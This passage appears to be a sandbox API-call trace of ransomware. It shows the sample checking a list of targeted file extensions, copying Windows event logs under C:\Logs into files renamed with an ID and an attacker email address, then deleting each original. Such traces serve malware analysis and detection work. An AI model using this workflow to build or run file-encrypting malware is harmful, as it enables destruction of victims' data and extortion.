	[0076.944] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49
	[0076.944] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49
	[0076.944] lstrlenW (lpString=".doc") returned 4
	[0076.945] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.945] lstrlenW (lpString=".docx") returned 5
	[0076.945] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.945] lstrlenW (lpString=".pdf") returned 4
	[0076.945] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.945] lstrlenW (lpString=".xls") returned 4
	[0076.945] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.945] lstrlenW (lpString=".xlsx") returned 5
	[0076.945] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.945] lstrlenW (lpString=".ppt") returned 4
	[0076.945] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.945] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49
	[0076.945] lstrlenW (lpString=".zip") returned 4
	[0076.945] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.945] lstrlenW (lpString=".rar") returned 4
	[0076.945] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.945] lstrlenW (lpString=".bz2") returned 4
	[0076.945] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.945] lstrlenW (lpString=".7z") returned 3
	[0076.945] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.945] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49
	[0076.945] lstrlenW (lpString=".dbf") returned 4
	[0076.945] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.945] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49
	[0076.945] lstrlenW (lpString=".1cd") returned 4
	[0076.945] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.945] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49
	[0076.945] lstrlenW (lpString=".jpg") returned 4
	[0076.945] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.945] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49
	[0076.945] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49
	[0076.945] lstrlenW (lpString=".doc") returned 4
	[0076.946] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.946] lstrlenW (lpString=".docx") returned 5
	[0076.946] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.946] lstrlenW (lpString=".pdf") returned 4
	[0076.946] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.946] lstrlenW (lpString=".xls") returned 4
	[0076.946] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.946] lstrlenW (lpString=".xlsx") returned 5
	[0076.946] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.946] lstrlenW (lpString=".ppt") returned 4
	[0076.946] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.946] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49
	[0076.946] lstrlenW (lpString=".zip") returned 4
	[0076.946] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.946] lstrlenW (lpString=".rar") returned 4
	[0076.946] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.946] lstrlenW (lpString=".bz2") returned 4
	[0076.946] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.946] lstrlenW (lpString=".7z") returned 3
	[0076.946] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.946] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49
	[0076.946] lstrlenW (lpString=".dbf") returned 4
	[0076.946] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.946] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49
	[0076.946] lstrlenW (lpString=".1cd") returned 4
	[0076.946] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.946] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49
	[0076.946] lstrlenW (lpString=".jpg") returned 4
	[0076.946] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.947] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0076.947] lstrlenW (lpString="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 70
	[0076.947] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0076.948] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=69632) returned 1
	[0076.948] CloseHandle (hObject=0x2f8) returned 1
	[0076.948] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx")) returned 0x20
	[0076.948] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0076.948] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0076.948] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.948] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.948] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0076.949] GetLastError () returned 0x0
	[0076.949] ReadFile (in: hFile=0x2f8, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0076.951] WriteFile (in: hFile=0x328, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0076.953] ReadFile (in: hFile=0x2f8, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.953] WriteFile (in: hFile=0x328, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x160, lpOverlapped=0x0) returned 1
	[0076.953] SetEndOfFile (hFile=0x328) returned 1
	[0076.953] CloseHandle (hObject=0x328) returned 1
	[0076.955] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.955] SetEndOfFile (hFile=0x2f8) returned 1
	[0076.956] CloseHandle (hObject=0x2f8) returned 1
	[0076.957] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0076.957] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx")) returned 1
	[0076.957] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78
	[0076.957] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78
	[0076.957] lstrlenW (lpString=".doc") returned 4
	[0076.957] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.957] lstrlenW (lpString=".docx") returned 5
	[0076.957] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.957] lstrlenW (lpString=".pdf") returned 4
	[0076.957] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.958] lstrlenW (lpString=".xls") returned 4
	[0076.958] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.958] lstrlenW (lpString=".xlsx") returned 5
	[0076.958] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.958] lstrlenW (lpString=".ppt") returned 4
	[0076.958] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.958] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78
	[0076.958] lstrlenW (lpString=".zip") returned 4
	[0076.958] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.958] lstrlenW (lpString=".rar") returned 4
	[0076.958] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.958] lstrlenW (lpString=".bz2") returned 4
	[0076.958] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.958] lstrlenW (lpString=".7z") returned 3
	[0076.958] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.958] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78
	[0076.958] lstrlenW (lpString=".dbf") returned 4
	[0076.958] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.958] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78
	[0076.958] lstrlenW (lpString=".1cd") returned 4
	[0076.958] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.958] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78
	[0076.958] lstrlenW (lpString=".jpg") returned 4
	[0076.958] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.958] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78
	[0076.958] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78
	[0076.958] lstrlenW (lpString=".doc") returned 4
	[0076.958] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.958] lstrlenW (lpString=".docx") returned 5
	[0076.958] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.959] lstrlenW (lpString=".pdf") returned 4
	[0076.959] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.959] lstrlenW (lpString=".xls") returned 4
	[0076.959] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.959] lstrlenW (lpString=".xlsx") returned 5
	[0076.959] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.959] lstrlenW (lpString=".ppt") returned 4
	[0076.959] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.959] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78
	[0076.959] lstrlenW (lpString=".zip") returned 4
	[0076.959] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.959] lstrlenW (lpString=".rar") returned 4
	[0076.959] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.959] lstrlenW (lpString=".bz2") returned 4
	[0076.959] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.959] lstrlenW (lpString=".7z") returned 3
	[0076.959] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.959] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78
	[0076.959] lstrlenW (lpString=".dbf") returned 4
	[0076.959] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.959] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78
	[0076.959] lstrlenW (lpString=".1cd") returned 4
	[0076.959] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.959] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78
	[0076.959] lstrlenW (lpString=".jpg") returned 4
	[0076.959] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.959] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0076.959] lstrlenW (lpString="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 76
	[0076.960] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0077.241] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=69632) returned 1
	[0077.241] CloseHandle (hObject=0x37c) returned 1
	[0077.241] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx")) returned 0x20
	[0077.241] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0077.242] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0077.242] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.242] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.242] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0077.461] GetLastError () returned 0x0
	[0077.489] ReadFile (in: hFile=0x37c, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0077.492] WriteFile (in: hFile=0x334, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0077.495] ReadFile (in: hFile=0x37c, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0077.495] WriteFile (in: hFile=0x334, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x16c, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x16c, lpOverlapped=0x0) returned 1
	[0077.495] SetEndOfFile (hFile=0x334) returned 1
	[0077.495] CloseHandle (hObject=0x334) returned 1
	[0077.499] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.499] SetEndOfFile (hFile=0x37c) returned 1
	[0077.500] CloseHandle (hObject=0x37c) returned 1
	[0077.500] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0077.501] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx")) returned 1
	[0077.501] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84
	[0077.501] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84
	[0077.501] lstrlenW (lpString=".doc") returned 4
	[0077.501] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.501] lstrlenW (lpString=".docx") returned 5
	[0077.501] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0077.501] lstrlenW (lpString=".pdf") returned 4
	[0077.501] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.501] lstrlenW (lpString=".xls") returned 4
	[0077.502] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.502] lstrlenW (lpString=".xlsx") returned 5
	[0077.502] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.502] lstrlenW (lpString=".ppt") returned 4
	[0077.502] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.502] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84
	[0077.502] lstrlenW (lpString=".zip") returned 4
	[0077.502] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.502] lstrlenW (lpString=".rar") returned 4
	[0077.502] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.502] lstrlenW (lpString=".bz2") returned 4
	[0077.502] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.502] lstrlenW (lpString=".7z") returned 3
	[0077.502] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.502] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84
	[0077.502] lstrlenW (lpString=".dbf") returned 4
	[0077.502] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.502] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84
	[0077.502] lstrlenW (lpString=".1cd") returned 4
	[0077.502] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.502] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84
	[0077.502] lstrlenW (lpString=".jpg") returned 4
	[0077.502] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.502] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84
	[0077.502] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84
	[0077.502] lstrlenW (lpString=".doc") returned 4
	[0077.503] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.503] lstrlenW (lpString=".docx") returned 5
	[0077.503] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0077.503] lstrlenW (lpString=".pdf") returned 4
	[0077.503] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.503] lstrlenW (lpString=".xls") returned 4
	[0077.503] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.503] lstrlenW (lpString=".xlsx") returned 5
	[0077.503] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.503] lstrlenW (lpString=".ppt") returned 4
	[0077.503] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.503] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84
	[0077.503] lstrlenW (lpString=".zip") returned 4
	[0077.503] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.503] lstrlenW (lpString=".rar") returned 4
	[0077.503] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.503] lstrlenW (lpString=".bz2") returned 4
	[0077.503] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.503] lstrlenW (lpString=".7z") returned 3
	[0077.503] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.503] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84
	[0077.503] lstrlenW (lpString=".dbf") returned 4
	[0077.503] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.503] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84
	[0077.503] lstrlenW (lpString=".1cd") returned 4
	[0077.503] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.503] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84
	[0077.503] lstrlenW (lpString=".jpg") returned 4
	[0077.503] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.504] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0077.504] lstrlenW (lpString="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 82
	[0077.504] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0077.504] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=69632) returned 1
	[0077.504] CloseHandle (hObject=0x37c) returned 1
	[0077.504] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx")) returned 0x20
	[0077.504] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0077.504] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0077.504] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.505] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.505] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0077.507] GetLastError () returned 0x0
	[0077.507] ReadFile (in: hFile=0x37c, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0077.509] WriteFile (in: hFile=0x334, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0077.511] ReadFile (in: hFile=0x37c, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0077.511] WriteFile (in: hFile=0x334, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x178, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x178, lpOverlapped=0x0) returned 1
	[0077.511] SetEndOfFile (hFile=0x334) returned 1
	[0077.512] CloseHandle (hObject=0x334) returned 1
	[0077.514] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.514] SetEndOfFile (hFile=0x37c) returned 1
	[0077.515] CloseHandle (hObject=0x37c) returned 1
	[0077.515] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0077.516] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx")) returned 1
	[0077.516] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90
	[0077.516] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90
	[0077.516] lstrlenW (lpString=".doc") returned 4
